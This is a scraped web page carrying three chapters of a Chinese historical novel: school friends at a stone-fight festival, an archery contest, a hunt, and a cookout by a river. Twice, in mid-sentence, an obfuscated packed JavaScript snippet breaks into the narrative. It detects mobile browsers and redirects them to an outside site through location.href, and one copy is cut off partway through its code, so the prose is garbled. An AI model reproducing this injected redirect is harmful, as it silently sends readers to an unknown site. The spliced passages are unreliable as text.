一提起沈本庭,郑禹原的表情突然就垮下来了,苦着脸道:“我倒是想拉着他来,可他的腿不允许啊!你是不知道,他爹知道他跟着我们跑到眉寿山看祭会后,气得动手体罚了他。那么细那么长的藤条,照着他小腿上打的,打完了居然还要跪祖宗牌位!本庭他好多天没能来宗学,按理腿被抽成那个样子,怎么也得修养一个月吧?他爹这个老不死的居然只让他养了五六天,就把他送回宗学了。我看他走路都一瘸一拐的,心都疼死了。” 宋景熙皱眉道:“他爹怎么能这样,不就是去看了个祭会,一没逃课,二没犯事,最多也只不过是晚归了,这样罚他?” 郑禹原道:“他爹就一脑残!说是因为他没看管好你,让你一个人走了路,才害得你受了伤。我寻思他爹也不喜欢你啊,搞得像多心疼你似的,无非就是不想让本庭再和我们来往罢了!我去到他府上去找他,都被他爹喊人轰出来了。” 宋景熙道:“我就知道你爹当年追着他爹骂的一点也没错。我这是也连累到他了,总得有个表示...对了,你给他送了药没?” 郑禹原道:“怎么没送?宗学里我拦着他给他塞药,他不敢收,怕谁看见了给他爹告状,说又和郑家那小子混在一块了。他还哪敢来山上找你啊。” 宋景熙叹息道:“不准私人造访,那我们就改个日子,以我长兄的名义正式登门拜访,我看沈提学还能拒绝不成。他想让本庭和我们断了来往,我们偏不如他的意。” 郑禹原点头道:“对,他打了本庭多少鞭,我回头让我爹在朝廷上就骂他多少句...诶!跑了!” 郑禹原遗憾地盯着刚刚从腿边溜走的小鱼,捏拳打了个气,继续抓。抓了半天,也没抓到,宋景熙就在岸上看他笑话,气得他一鼓作气,扬了个大水花,全部泼向了宋景熙,淋了个浑身湿透。 宋景熙一字一字咬牙道:“郑、禹、原!我就这么一件自带的衣服!” “咦?”郑禹原道:“就带了一件啊,没事,这件湿了穿回你的僧袍去,我还没见过你穿僧袍呢,你要是剃个光头那就更好玩了哈哈哈哈哈哈。早下来玩水抓鱼不舒坦吗?”说罢,阴险一笑,几番水花泼洒中,拉了个宋景熙措手不及。宋景熙整个人被带到溪水里,泡了个凉爽。 这下是真无所谓了。两个人都脱了上衣挽起裤腿,在溪水里你泼我撒,撒泼完了,又抓鱼。左抓抓,右抓抓,宋景熙抓了五条,郑禹原抓了四条,险胜。 郑禹原摸了把脸,怪道:“你还真是跟着高人练武了,身手变得这样好了,以前抓鱼可是没我厉害的,果然是今时不同往日...啊!” 一颗小石子掉在溪水里。郑禹原捂着后脑勺大喊道:“谁他妈拿石头砸我?” 左看右看,也没半个人影。宋景熙道:“鱼砸的。” 郑禹原道:“一点也不好笑。真有人砸我!砸中我脑袋了,痛死。没砸破吧?” 宋景熙看了一眼,道:“放心,没有。” 郑禹原心有余悸地摸摸后脑勺:“真是奇怪了...你在看什么?表情好奇怪...”他顺着宋景熙的目光扭头看去,只见二十步之外站了个面容清俊、神色冷峻的人,郑禹原诧异道:“你谁啊?就是你小子砸的我?” 宋景熙有一种被抓包了的尴尬,但还是露齿冲韩时元一笑,道:“你怎么在这?” 韩时元冷冷地道:“路过。”说完,转身便走了。 郑禹原指着这人的背影,不可思议道:“路过?顺便砸我一石头??” 宋景熙心虚地啊了一声。该他心虚的,因为郑禹原总来找他的关系,这些时日宋景熙去往寒舍的次数大为下降,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773782|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没去过几回。他玩得尽兴了,也没想着再练武练个筋疲力竭。 郑禹原惊疑道:“你什么表情?你认识他?他谁啊,怎么无缘无故砸我,有病吧!” “山上的朋友。抱歉,往后有机会让他给你道歉,我先走了。”说着,宋景熙蹚上岸,试图往韩时元的方向去,并大喊道:“等等我...唔!” 郑禹原没让他上岸的想法得逞,而是从背后袭击,将他整个人往后按倒在了水里,宋景熙呛了一口水,刚咕噜两声便被拉了起来。剧烈咳嗽一阵后,宋景熙捂着喉咙狼狈地道:“郑禹原!你有病啊!呛死我了!” 郑禹原摊摊手道:“你瞧你,光着上半身呢,浑身都是水,还想着去追人,这山上人可多了,到时候被别人看见了多尴尬啊,指不定还以为水鬼出浴了。再说了,我居然还没有你那个山上的朋友重要吗!你居然要抛弃我去找他,我好伤心呜呜呜......” 郑禹原装模做样地抹了抹眼泪,宋景熙翻了个大白眼,冲了上去。 郑禹原本想着自己力气是最大的,宋景熙肯定敌不过他,然而很快他整个人便被按在了水里。好在他及时闭气,没有呛到水。 宋景熙将他提起来,郑禹原脑袋刚出水面喘了口气,立即求饶道:“咕噜咕噜我错了!救命救命!我、我还有事,没、没说完,才拦着你别走的!” 宋景熙道:“说!” 郑禹原道:“有话好好说别淹我!亲兄弟诶你怎么力气这么大了,你吃了什么灵丹妙药了,还是真遇上什么高人指点了?” 宋景熙道:“闭气。” 郑禹原又被按进了水里,“咕噜咕噜饶命咕噜咕噜——”再被提起来时,吐出一口水,道:“——我说!我说了!就是,你不是从宗学里罢了课吗?这都几个月了,你忘了,马上要到秋季了,不久后就是游学会了!” 宋景熙:“......!!!” 游学会是宗学的老传统了,每隔三年秋季才会举行一次,宗学所有学子都会参加。宋景熙入学时恰巧错过一届游学会,现在他们正好入学第三年,可算是赶上了。游学会么,主打的就是边玩边学,并且实际上是注重前者的,长辈们不是没有类似的集会,但大多都很迂腐,规矩多,又讲究人情世故,几乎没什么趣味。所以,宗学游学会可以说是汉阳贵族圈里为数不多的让小辈们期待的事情了。 郑禹原怨怨地道:“我来就是为了问你,你要不要去参加,虽然罢了课,但司业说,你要是想来,只要和他说一声就是了。我得提醒你一句,这回你要是不去,往后可就没有机会了,再说我千辛万苦地来找你,你要是不去,那就太不给面子了。去不去?” 宋景熙立刻坚定地道:“我去!” 34. 五陵其二 今年秋季的游学会在眉寿山脚下举行,活动范围从山脚扩至山腰。 由于山上闲杂人等较多,所以划定游学会范围后,每隔一定距离,便会在地上插一面旗子,旗面指向范围外,看到旗子,意味着赶紧离开,不要闯入。想要硬闯也不是不可以,但是一般人不会这么做。因为又是每隔一定距离,会有一名士兵驻立看守,只要发现不是穿着宗学服饰的人,一律驱逐出去。 按照往年的规矩,游学会分为三个大名目,分别称为文、武、杂,这三者皆是包含好几个活动,学子们必须在每个名目下各选至少一个,最多只能选择五项。很遗憾不能选择所有,因为游学会只会持续一日,而一个活动又会花费掉不少时间。 三人共同的选择的一项属于“杂”的唯一一项活动,名字叫做“石战”。虽然属于杂项,但听这个“战”字,也能想到实际上和武脱不开干系。 石战的规矩很简单,找一条河流或者小溪,要两岸相隔距离适当的。在河岸边各自垒起数堆鹅卵石,再于河两岸各列人数相等的一队人,石战口令一下,两列人集体取石子抛掷对方,以哪一方先顶不住石子而败退投降来论输赢。 总之,这是一场极其危险的活动,这就是为什么不用普通石头,而用鹅卵石的原因。即便这样,也还是有可能会被石头砸到头破血流,就算不,也会被砸到身上满是淤青。 那为什么还要保留这个活动呢,因为是传统。但为了保护学子们的安全,不仅有不允许下狠手、不允许打脸等规矩,还配备有医者,好在游学会历经几十年,从未有人被打残打死过。并且每位学子都会戴上护头的帽子裹住脑袋,有怕疼的还会穿上内穿的软护甲。 而且,参加的人数并不少,并不是贪生怕痛的人少,主要是因为,可以趁着这个机会痛殴仇家。 郑禹原摩拳擦掌,盯着河岸这边摆放的好几堆鹅卵石已经好久了,想象着自己在河这一案痛击河另一案的韩明吉,并且将韩明吉打得节节败退的场景了。想着想着,开始傻笑起来。 宋景熙拍了拍他的背,提醒道:“醒醒。人员已经分好了,你和我是一边,本庭被分到对岸去了。” 郑禹原大惊失色道:“什么?!我们居然被散开了,谁分的,这么脑残!我还打算保护好他的!” 宋景熙道:“司成分的,没办法。” 郑禹原道:“那韩明吉呢,他肯定在对面吧!” 这时,身后有一人冷哼一声,讥讽道:“我倒是想站在你们对面,拿石头砸在你们脸上,砸得你们哭爹喊娘啊!” 两人转过身来,方才说话的人正是韩明吉,后边还跟着一群人,是他在宗学的同伙们。 见他们过来,很快,在同一边河岸的属于郑禹原的同伙们也慢慢朝郑禹原聚拢了过来,双方都有些剑拔弩张的意味。 宋景熙道:“没错,他和我们一样在同一岸。” 司成的意思很明显,郑禹原和韩明吉经常因为吵架或打架而闹到他那里去,深切掌握宗学内部爱恨情仇的司成,绝对不会允许公报私仇下狠手的事情存在。 郑禹原朝韩明吉挥了挥拳,挑衅道:“臭小子,石头可没有我的拳头好使,想尝尝我的拳头了吗?” 韩明吉重重地哼了一声,骂道:“呸,狗崽子,你也只会嘴上逞能了,我今天懒得和你计较。我们走。”说完,带着同伙们走向了河岸的另一头,远离了郑禹原一伙人。 宋景熙所在的这一侧河岸有二三十人,韩明吉和他们各占据了河岸的左右两头,似乎是不想起冲突而故意隔得这么远。只见韩明吉停在那一头后,和同伙们在讨论着什么,神情十分严肃。 郑禹原努努嘴,道:“他们又在盘算什么坏事?不会想从背后偷袭我们吧!” 宋景熙耸耸肩:“有司成和武官看着,还怕他们偷袭?我看司成定然是不想我们因为石战伤害了同窗情谊,所以才将我们分配在一起的,这样对面就没有我们讨厌的人了。既然如此,我们就不要狠命往对岸砸了,待会扔两块意思意思好了。” 郑禹原举双手道:“我一定会手下留情的!话说本庭呢?怎么没看见他。” 两人一起朝对岸看去,那里也有一群人,有些人正对着,有些人背对着,有些人正在谈论,有些人一语不发。眼光探索了一阵,两人才看到被一伙人挡住的沈本庭,手里正掂着一块圆润的白色鹅卵石,低头不知道在沉思什么。 郑禹原正准备招手喊他,此刻站在上游的学正吹起号角,意思是让他们赶紧找好自己的位置,拿起鹅卵石,准备进攻了。 顿时,学子们纷纷从身旁的石堆处拿起一块石头,紧握在手中,紧紧盯着对岸的人,心里都在盘算着,待会自己是打在水里?还是打在对面的人脚边?还是打到对面的人身上?皆是各怀心思。 偏偏在这时,在所有人都面对面时,宋景熙才看到对面有个熟悉的面孔,是李澄!而且,穿着一身宗学学子的衣服,就在他正对面! 宋景熙诧异极了。李澄怎么会在这里?李澄他根本不在宗学里进学,而是在王宫里的宫学里啊!王子也根本不被允许参加宗学游学会才对! 参加石战的大多是十五六岁的少年,因为十五岁以下的学子不被允许参加。故而十三岁的李澄虽然穿着和他们一样的衣服,但在这群最少也有十五六岁的少年里,因为身高,显得有些明显。 宋景熙朝李澄瞪了瞪眼,眼神问他怎么在这。李澄也睁着一双漆黑溜圆的眼睛看着他,不仅如此,还大胆地朝他露齿笑了一笑。 宋景熙闭了闭眼,心下了然,明白了,李澄这是又逃出宫来找他玩了。自从他辞去伴读入读宗学后,李澄就经常出宫来找他,大多数时候是来宗学,也是穿着一身宗学学子的衣服。宋景熙总觉得迟早会被发现的,所以也严肃地教训了几次,但屡禁不止,但自从宋景熙上了眉寿山之后,就一直没有见他来过了,本以为改过自新了,没想到这会子居然在游学会上见到了! 郑禹原也一眼看见了李澄,知道他是睿南君,就是因为老是看见他老来找宋景熙才知道是睿南君的。郑禹原小声惊呼道:“他怎么在那??” 宋景熙轻轻摇摇头,表示自己也不知道李澄怎么会在对面,但他心下猜测李澄是借了别人的身份。 宋景熙道:“看见他了?看着了,小心点别打中他。” 郑禹原道:“我知道!我可不想惹毛了他。” 等所有人都蓄势待发时,站在悬崖上的学正又吹响号角,再由武官挥起旗帜,又用鼓槌击鼓鸣声,大喊一声:“战!” 石战开始了。 鹅卵石像雨点一样在河岸上交错飞去,有些人有眼见地将石头丢进了水里,但更多的人是将手中的石头高高抛起砸向对面的人。宋景熙特意砸空,朝他飞来的石头不少,所幸一个也没砸中他。 很快,众学子又弯腰捡起新的石头,人群哄乱的,也就没有再顾及对面是什么情况,一股脑的全部抛出去,随即便是此起彼伏的嗷叫声,砸中了人,也就更兴奋,被砸中了也不恼,捡起石头立刻反击。玩到尽情处,甚至有人揣着满怀的鹅卵石,像投石机一样往对岸抛去。 有些怕痛的,就会穿得厚些,被砸痛了的,也会赶紧撤退,生怕自己被赶尽杀绝。 这里头砸得最狠的是郑禹原,不停地兴奋大叫。因为他投的石子多,所以也是受到石子攻击最多的人,这就连累了在他旁边的宋景熙。尽管宋景熙在眉寿山练好了伸手,也遭不住这种围攻,先是被砸到肩膀,然后是手臂。 但也还好,至少没砸到头或脸不是? 才不过几轮,两边便皆有人率先退出。宋景熙一边捡石头扔,一边躲石头,眼尖的他看见对面沈本庭举起臂膀挡住脸后,似乎是吃痛了,露出懊恼的神色,丢下石头撤退了。 郑禹原看见了,恨不争气地跺脚道:“本庭这家伙!我就知道他扛不住几回,很快就会逃了,肯定又急着去参加他那文绉绉的斗诗了!” 宋景熙躲过一块石头,趁机道:“你管他!你能不能收点手,我快被砸死了!” 郑禹原嘿嘿道:“不要!” 同样被砸到的还有李澄。宋景熙已经看到他被砸不止三次了,而且每被砸一次,他的脸色就更臭,也会迅速捡起石头反攻回去,谁砸他他就砸谁。宋景熙不禁摇了摇头,叫他好好地待在宫里不听,出来参加石战,受这种罪。 又是几轮下来,撤退的人越来越多,最后双方皆只剩下十多人,人数锐减,留下来的人则朝中间靠拢,继续向对面集中攻击。 宋景熙和郑禹原没有败退,韩明吉居然也没有。原本离他们远远的,有点井水不犯河水的意思,现在居然和他们汇聚在了一起。对岸也一样,处在两头的人都朝正中聚拢过去。 郑禹原看见凑过来的韩明吉,露出了嫌恶的神情,但韩明吉根本没有看他,而是紧紧盯着对岸。 韩明吉第一次这么不在意郑禹原,宋景熙觉得奇怪,朝他看向的对岸看去。就在韩明吉的正对面,宋景熙这才看见对面还有个比李澄更明显的身影,个子是所有人当中最矮的,身形也是最瘦弱的。 由于这名学子之前离宋景熙最远,他没有往那边看,更别说,此人还被两三个比他高一个头的其他学子围挡着,所以他根本没有注意到此人过。看那几人的动作,似乎是在替挡石头,虽然根本没有什么石头砸向他们。 虽然被挡住了,但并不是看不见此人的脸。此人相貌灵秀,有些像个女孩,长相居然和韩明吉有四五分相像,尤其是眉毛,眉毛粗而短且浓,甚至短到不过眼尾。韩明吉也长着这样的眉毛。 据说是因为他们的母亲,领议政的夫人就长着这样粗短的眉毛,所以她生下的孩子也都承接了她的特色。她和领议政有三个孩子,长子韩圣吉,次子韩明吉,还有一个独女,名字叫做韩暎。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773783|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >看来,此人就是韩暎,而且是和李澄一样借了别人的身份女扮男装进来的。 之所以确定一定是韩暎,是因为能让韩明吉如此看紧的,不可能是他那群表亲,只有他的亲兄妹。宋景熙沉了沉气,这次的游学会还真是人才辈出,不仅李澄也伪装进来了,甚至韩暎一个女孩子也伪装进来了。 还真是为所欲为啊! 他心道:“难怪方才韩明吉不和我们争执,原来是有个小妹要护着。” 韩暎也才十三四岁,手里握着的鹅卵石一直没有投出去过。她吵着闹着借表亲的身份参加游学会可不是为了来打架的,她的真正目的,是看看宗学里有没有长得好看的男子! 从小她就喜欢长得好看的人,二哥总说他是宗学里最帅的人,她才不信,她要来自己看看! 果然没让她失望,对面不就有吗!温润而不柔,俊俏而不艳,明朗而不硬,立时如玉树,笑时如朗月,正是她最喜欢的品貌!人间至品!他旁边那位也不错,身材高大,只是相貌和气质都太硬朗,人也有些粗,一直在疯狂投石头,好像在打仗一样,一定也不懂得怜香惜玉吧! 郑禹原忽然打了个寒颤,终于发现对岸有人盯着他看,哦不对,只看了他几眼,一直在盯着宋景熙看啊! 郑禹原也很快看清对面人的相貌,那道熟悉的眉毛让他立刻皱起了眉头,停止了投石,侧头朝宋景熙道:“对面那人怎么回事,长得好像韩明吉那家伙,还一直在盯着你看!不是,你怎么也在盯着他看??” 宋景熙收回视线,一点不心虚地道:“没有啊。” 郑禹原撇撇嘴,朝宋景熙砸了块石头。没想到,居然听到了对岸有人嘶了一声。 李澄和韩暎都嘶了一声,朝郑禹原怒目而视,紧接着便有两块石头郑禹原朝砸去,一块是李澄投的,一块是韩暎投的。 郑禹原瞪大眼睛,欸了一声,轻松躲过。他低低地道:“搞什么鬼!” 他被人砸了,那他就要砸回去的!睿南君他认识,不敢砸,可那长得像韩明吉的他可不认识,而且既然长得像韩明吉,那一定和韩明吉有关系,姓韩的能有什么好人?郑禹原心底叫道:“就让老子欺软怕硬一次吧!”同时大喝一声,拿起一块石头扔向韩暎! 韩暎为了向郑禹原投石头,早就推开挡着她的人,整个人暴露出来了。郑禹原反击得快,几人还都没有回神,眼见石头径直朝韩暎而去! 闷哼一声,石头落地。韩明吉松了一口气,宋景熙却提起了一口气。石头没有砸中韩暎,因为李澄突然冲出,挡在韩暎面前,石头砸到了他的胸口。 这个走向,郑禹原也没有想到,见砸中睿南君,心叫糟了,睿南君不会从此记恨他吧?! 宋景熙还没说什么,韩明吉冲过来咬牙切齿地道:“郑禹原!你他妈的胆子真大啊!你敢打我...表弟!” 郑禹原心下道:“难怪长这么像,果然是你这臭小子的亲戚,一样讨厌!”这样想着,便喝回去道:“你表弟?一个大男人娇娇气气的还要人护着,要是怕痛就别来参加石战啊!经不住打,算什么男子?!” 宋景熙捂脸半晌,看来郑禹原没看出来是韩暎。不过更让他奇怪的是,李澄居然会替韩暎挡下石头? 李澄被石头砸了,心情更差了。要不是他发现这个眉毛长得很奇怪的人总是在宋景熙被砸时发出担心的声音,他根本不会注意到这人。这人和他一样,对砸了宋景熙的郑禹原感到气愤,也拿石头反击了郑禹原。因此他对这人徒生了点好感,觉得这人和他是同一阵线的,所以才在郑禹原砸回来时替人挡了下。 他全身心注意力都在对岸,没注意到被他挡在身后的人眼睛亮亮地看着他的后脑勺。 韩明吉指着郑禹原道:“你!你说大男子是吧,那你敢不敢和我打一架!我看你遭不遭得住打!” 郑禹原一只手叉腰一只手指回去道:“你来啊!你敢先动手吗?!” 韩明吉再怎么目无王法,也是不敢在有学正和武官盯着的情况下动手的。果然,处在上游的学正发现了这边的情况,吹起号角,喊道:“情谊其一!石战其二!” 韩明吉重重地呸了声,骂了句,朝身后几名同伙道:“不玩了,走!”说罢,当即扯下脑袋上护头的帽子,恶狠狠甩袖离去。 他们这一走,宋景熙这一岸的人数再次锐减。对面一人未走,很快便将郑禹原砸得节节败退,跟着郑禹原的人也被砸跑了,宋景熙也顶不住对面韩明吉的人的攻击,很快告退。郑禹原独自一人坚守一阵后,终于坚持不住了,不得已败走。对面赢了。 郑禹原气恼非常,石战结束后便消失了,宋景熙和沈本庭一直找他,怎么也找不到。郑禹原也没来找宋景熙,反倒是李澄先出现在宋景熙面前了,他借用旁人的身份,也选择了“武”的一项:射箭。同时也是宋景熙选择的一项。李澄不由分说,将宋景熙拉走,为射箭热身去了。 35. 五陵其三 沈本庭选择的“文”是斗诗,郑禹原选择的“武”是角力,说白了就是肉搏。宋景熙选择的“武”则是射箭,射箭也是选择人数最多的项目之一。果然,射箭场上也见到了韩明吉。 李珘没教箭术,因此,宋景熙只试了几场便告退了,没能打到前二十,也没去关注其他人的名次。去斗诗场找完沈本庭,觉得文绉绉的听不懂,又去角力场找郑禹原,消失的郑禹原正在场上和对手打得热火朝天,角力的参加者不多,但围观者比任何场地的都要多。角力斗到现在,还没有谁打得过郑禹原,也正如宋景熙所料,郑禹原摘得角力魁首。 最终的活动,是围猎。李澄、宋景熙和郑禹原共同选择了它。 游学会能从山脚划到山腰,正是因为围猎。并且围猎和石战一样,也要分组,从不同的入口处释放一拨学子,以此避免撞在一块儿。很遗憾,李澄和郑禹原都没能和宋景熙分到一组。和宋景熙一组的,也都不是他熟识的人。 宋景熙打算单打独斗。 围猎的规矩很简单,也没有太多限制,场地里筛查出来的都是山鸡山鼠野兔等体型小又无危险的动物,用箭、用刀还是徒手都可以,骑马或步行也都可以,只要能逮到猎物就行。唯一的规矩,就是不要抢别人的猎物。 宋景熙想了想,虽然自己擅刀,但在围猎场上选刀肯定不是什么明智之举,自己用箭又不算太差,故而还是选择了弓箭,骑上马匹便出发了。 半个时辰过去了,战绩不错,打到三只山鸡和两只山鼠。不过就他在围猎场上见到的其他挂满马鞍的参加者来看,这样的成绩似乎不太够看。不过,宋景熙并不在意。他又没有抢第一的打算。 下一个出现在他眼前的,是韩明吉。 韩明吉一见到他就挑衅地勾了勾手,指指坐下马匹鞍上挂得满满当当的猎物,满脸得意地道:“怎么样?” “......”宋景熙道:“你真的没抢别人的猎物吗。” 韩明吉都打马准备走了,来宋景熙跟前只是为了炫耀一番,不想在宋景熙这里浪费太多时间,他可是要拿第一的。但宋景熙这句话成功留住了他,他怒极反笑道:“你就羡慕吧,可把你嘴硬的。真是可怜,打了半天才打了这么两只,不像我,我日后可是海东第一神射手......”说着说着,从他眼前突然钻过去一只野兔。 也许是为了表现自己的实力,他立刻搭箭挽弓,一箭射出,空了,连兔尾巴都没摸着。 宋景熙:“......” 紧接着第二箭,依旧歪了,由于野兔跑远了,这一箭更歪。宋景熙叹了一口气,他本来随口一说,看来,猎物真是抢来的?听见他叹气,韩明吉恼羞成怒,两腿用力一夹马腹,朝兔子追去,还不忘大喊道:“宋景熙有种我们比一场!谁抓到兔子,谁的猎物就全归谁!你赢了,我就告诉你哥的消息!” 听到猎物归谁,宋景熙还无动于衷,但听到他长兄的消息,宋景熙也立刻纵马追了过去。废话!能不去吗,他长兄自从进了成均馆,经常断了消息,书信也不寄一封来。韩明吉的长兄韩圣吉也在成均馆进学,听说韩圣吉经常寄信回府,万一知道他长兄宋景元过得怎么样呢! 一番追逐,可算是没将兔子跟丢,但奈何那狡兔实在灵活,两人竟统共落空了十多箭,其中至少□□箭是韩明吉射的。 不知追了多久,兔子都跑得有些累了,不如之前灵敏了。韩明吉屏息凝气,再次搭箭挽弓。 然而,他这一箭并未射出,从二人前方远处飞来一只冷箭,箭簇牢牢将兔子钉在地上。两人一惊,皆朝前方看去,百步之外站着一人,手持着一把粗制的木弓,方才那一箭是他射的。 隔得远,宋景熙也看清了,这人真是韩时元。 宋景熙骑马凑近了点,惊喜道:“你怎么在这?”随即又不免有些担忧:“你怎么会在这?” 这里可是围猎场,要是被人发现误闯进来了,不好交代。 韩时元波澜不惊地道:“这里已经不是围猎场的范围了。” 韩明吉也凑了过来,皱眉道:“什么?” 宋景熙若有所思地道:“原来我们已经出界了吗,什么时候...竟然毫无察觉,那这只兔子算谁的?” 韩时元面色不改:“算我的。” 韩明吉道:“谁说是你的了,是我的!要不是你抢了一步,猎了这兔子的就是我了,你算什么东西,敢和我抢!等下,听你俩这语气,你们认识?” 韩时元没有回答,自顾自向已经咽气的兔子。韩明吉想不到一介平民还敢无视他,立刻拿箭指着韩时元,见他举弓,宋景熙也立刻举起弓指向韩明吉,道:“你想做什么!” 韩明吉道:“唷?这是真认识了。我没看错吧宋景熙,你这是在维护那家伙?” 宋景熙道:“放下。” 韩明吉道:“我就不。” 韩时元默默地抓起兔子。 宋景熙道:“你要是敢伤他,我就敢伤你,我真敢。再说你伤他有什么好处?我们已经出界,已经算是违矩了,你敢闹出人命,围猎的第一可就拿不到了。” 听了这话,韩明吉果然脸色一变,宋景熙趁热打铁道:“你要为了那一只兔子,放弃你心心念念的第一?你没这么蠢。” 韩明吉嘁了一声:“算你识大局,一只兔子而已,哼,便宜你了。等着吧,我会让你见识到谁才是围猎的魁首!”他也是担心要是出界被发现了取消成绩,那他费为了搞到这些猎物而废的心力可就都白费了! 见他调头要走,宋景熙赶紧喊住他:“等等。” 韩明吉不耐烦道:“又搞什么?” 宋景熙道:“赌注?我哥的消息。” 韩明吉道:“我说的是谁猎到了兔子,谁就是赢家。你没猎到兔子,又没赢,凭什么向我要赌注?” 这时,韩时元拎着兔子耳朵走了过来,将兔子递给宋景熙,抿唇道:“给你。” 宋景熙眉眼弯弯,露齿朝他笑道:“多谢。”说着将兔子耳朵抓在手里,又抬头道:“现在兔子是我的了,我是赢家,该告诉我了吧?” 韩明吉讥笑道:“旁人施舍给你的你也要,再说了,不是你亲自打的,不算。懒得和你说,浪费我时间。”说罢,头也不回地骑马走了。 然而他还没跑出多远,又是一支冷箭朝他飞去。韩时元冷不丁地发出这一箭,直接射中了马匹上挂着的一只野鸟,箭簇扎到了马腿,虽然没扎伤,但还是让马受了惊,马嘶鸣一声,韩明吉大惊失色,赶紧握紧缰绳堪堪控制住,扭头便怒喝道:“搞什么鬼!臭小子你找死是不是?!” 他毫不犹豫地挽弓朝韩时元射了一箭,但坐下马匹尚未稳定下来,射的也就不准。宋景熙还没吃惊完,见此情形,当即拿箭指着韩明吉,道:“别动手!” 这话不仅是对韩明吉说的,也是对韩时元说的。 韩明吉道:“你在和我说话?到底是谁先动的手!你长眼睛了没有??宋景熙你他妈怎么越来越不要脸了,说了不要浪费我时间,这很难吗?!” 宋景熙忍了忍,道:“抱歉,我替他向你道歉。” 韩明吉道:“老子在这里和你浪费了这么多时间,你他妈要是还有脑子,就应该赔我!知道吗?” 韩时元的眼神冷了冷,手指扣紧了弦。宋景熙朝他轻轻摇了摇头,示意他别动手,并道:“你想怎么赔?” 韩明吉道:“你果然是没脑子!我在你这浪费的时间,够打好几只猎物了,正好拿你猎到的那些个可怜东西补偿,这都不明白吗?废话少说,有眼力见的话就下马,把你那几个猎物挂到我马上!” 见宋景熙没动作,韩明吉催促道:“你再浪费我时间,他这条命都要赔给我了!” 韩时元眼神冰冷,十分不屑地哼了声,一语不发,绷紧弓弦,对准了韩明吉的脑袋,箭在弦上,不得不发。宋景熙道:“别冲动。” 他自觉地下马,但还没翻下去,突然间,听见远处有人大声叫唤道:“你们在那里做什么!” 是守着围猎场边界的士兵! 韩明吉脸色一变,坏了,被发现了,成绩可是都要作废的!他几乎没有任何犹豫,抱着没被看到脸的侥幸,当即纵马逃离了现场。 ...... 围猎结束了,同时,游学会也到了尾声。 由于违矩,宋景熙失去了参加打猎结果评比的机会。然而正所谓有失必有得,虽然失去了评比机会,但也不用上交猎得的猎物啊。 参加围猎的学子们在围猎结束后,需要将猎物上交给主持评比的司艺。不想参与评比的,也可以选择将猎物赠予他人,比如山间居民,或者猎户,樵夫,只需要和司艺说一声。唯一禁止的,就是私自烹饪猎物。 原因很简单,除了讲究“君子远庖厨”,还是因为私自起火烹饪,万一引起了山火,那可就成了千古罪人了。 不过少年心气,往往不让他做什么,他越要这么做。郑禹原听说宋景熙被禁止参与评比后,虽说生气,但看着宋景熙手里的猎物,兴奋地搓搓手,提议道:“不如我们自己架个火堆烤着吃吧!” 沈本庭果断道:“不可。” 郑禹原瘪嘴道:“就知道你不乐意,讲究那么多干嘛啊,要不这样,我和景熙烤,你就等着品尝,怎么样?” 宋景熙也拒绝道:“我可不干,你想让我再被逮到一次吗?” 郑禹原道:“我们离远点就是了,反正现在那群学官们忙着排名次呢,不会管着我们的。我再叫几个好兄弟过来帮忙把风,肯定没问题的!” 沈本庭道:“若是掌控不了,走水了怎么办?” 郑禹原道:“找条河流,得空旷的,在河滩边上烤不就得了,不是泥土就是石头,还怕起火?” 沈本庭还是摇了摇头,不太乐意。 宋景熙疑问道:“你会烤吗?” 郑禹原飞快答道:“怎么不会?我哥教过的,还带我干过!可有意思了。走嘛走嘛,我知道一块地儿,有水又空旷,正符合我的要求。”说罢,左右臂各揽一个,不由分说地将宋景熙和沈本庭拖走了。 一个两三丈高的小悬崖,悬崖上是一条浅滩,悬崖下是一条较之宽阔得多的河流。潺潺流水从上面跳下来,虽不壮阔,但看着很让人产生跳水的冲动,因为水跳下来的地方形成了一汪较深的水池,足以淹没一人。水再往下游去,便只不过三四尺深,勉强淹没胸口。离上游河滩较远的地方才有植被,郑禹原就在上游的河滩搭起火堆。 他和几个跟班用自己的佩刀将山鸡处理得惨不忍睹,并用零散的食材调料处理一番——大概是从游学会随行厨子那里偷偷拿来的,处理完毕后,又架在树枝上炙烤,见烤了半天也不熟,最后干脆加大火力。如此一个时辰过后,一只焦香滴油的烤鸡就做好了。 虽然卖相不算很好,但好就好在香气扑鼻。郑禹原将烤鸡分成好几份,各自盛放在铜碗里——也是从随行厨子那里偷拿来的,先分给几个义气帮忙的跟班,再给了宋景熙一碗,最后招呼站在远处的沈本庭。 要说宋景熙还在烤鸡的过程中帮忙翻了翻,沈本庭却是一直站得远远的,在看见郑禹原徒手掏内脏后更甚,他的职责只有把风。等他走近了,郑禹原也塞给他一碗油滋滋的肉,自己手里也抓着一只鸡腿,并道:“大少爷,给小弟一点脸好不好?再不喜欢,也尝一口,嘶唔,好吃到要命啊!”说着说着啃了一口鸡腿,露出了成就满满的表情。 怕他嫌脏手,郑禹原还递给他一片洗干净的树叶。都到这份上了,沈本庭也不可能拒绝,他捏着树叶夹起一块肉送到口里,眼睛登时亮了。 “味道很好。” 郑禹原露出了得意的表情:“我就说,我烤的山鸡,还没有谁说过难吃的。” 宋景熙也觉得好吃,笑道:“郑九啊,谁想得到你还有这手艺。” 郑禹原哼哼道:“我爹总说我不像样,以后肯定讨不到谁家小姐,要我像他一样,有个男人样,才会有那么多女人。嘁,我要那么多女人干嘛,再说了,单凭我这个手艺,都能迷死一大片了,你们说是不是?” 